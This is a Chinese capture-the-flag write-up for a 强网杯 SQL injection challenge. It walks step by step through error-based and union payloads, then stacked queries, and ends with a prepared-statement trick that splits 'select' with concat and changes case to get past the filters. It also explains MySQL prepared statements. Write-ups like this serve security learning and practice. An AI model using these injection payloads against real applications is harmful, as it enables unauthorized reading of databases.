CTF-强网杯

1.测试

 

  1.1一个输入查询框是get传参。

  查询数字1后返回。

CTF-强网杯


1.2测试加入单引号’后报错,判断存在注入。

CTF-强网杯

1.3按照正常流程走走

  判断有几个字段,到第三个报错,判断两个字段。

1' order by 3 --+

CTF-强网杯

4.查询数据库

1' union select table_name from imformation_schema.tables --+

5.发现有过滤,试试extractvalue报错

CTF-强网杯

1' and extractvalue(1,concat(0x7e,database()))--+

CTF-强网杯

后来发现没select只能查询一些基本信息

2.尝试一下堆叠注入

1.查看数据库

1'; show databases;

CTF-强网杯

3.查看表

CTF-强网杯

3.1查看1919810931114514的列

1'; show columns from 1919810931114514; --+(表名用反引号)

CTF-强网杯

激动的发现了flag! 可是过滤了select呜呜呜…… (┬_┬) ,又到了每次做ctf必要的一个环节了(看wp),不知道为什么每次看大佬wp都有榜上富婆的感觉(不用努力了),让人上瘾。

这里参考大佬chalan630的解题思路通过预编译的方式绕过对select的限制

4.了解一下sql预编译

预处理 SQL
  绝大多数情况下,某需求某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。

  所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。

  预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。

注意:

  虽然可能是通过预处理 SQL 的方式一定程度的提高了效率,但是对于优化而言,最优的执行计划不是光靠 SQL 语句的模板化来实现的,往往还是需要通过具体值来预估出成本代价。
二、Prepared SQL Statement Syntax

  MySQL 官方将 prepare、execute、deallocate 统称为 PREPARE STATEMENT。翻译也就习惯的称其为预处理语句。

  MySQL 预处理语句的支持版本较早,所以我们目前普遍使用的 MySQL 版本都是支持这一语法的。

4.1预处理的语法

定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name;

5.尝试构造payload

set @ww=concat('se','lect * from 1919810931114514;'); //使用concat拼接select赋值给@ww,@xx是mysql自定义变量的方法和php的$差不多。

prepare stmt from @ww; //设置预处理的语句

execute @stmt; //执行语句

CTF-强网杯
发现strstr把set和prepare拦截了,但是strstr函数可以通过大小写绕过。
最后得到flag
CTF-强网杯
(ง •̀_•́)ง(ง •̀_•́)ง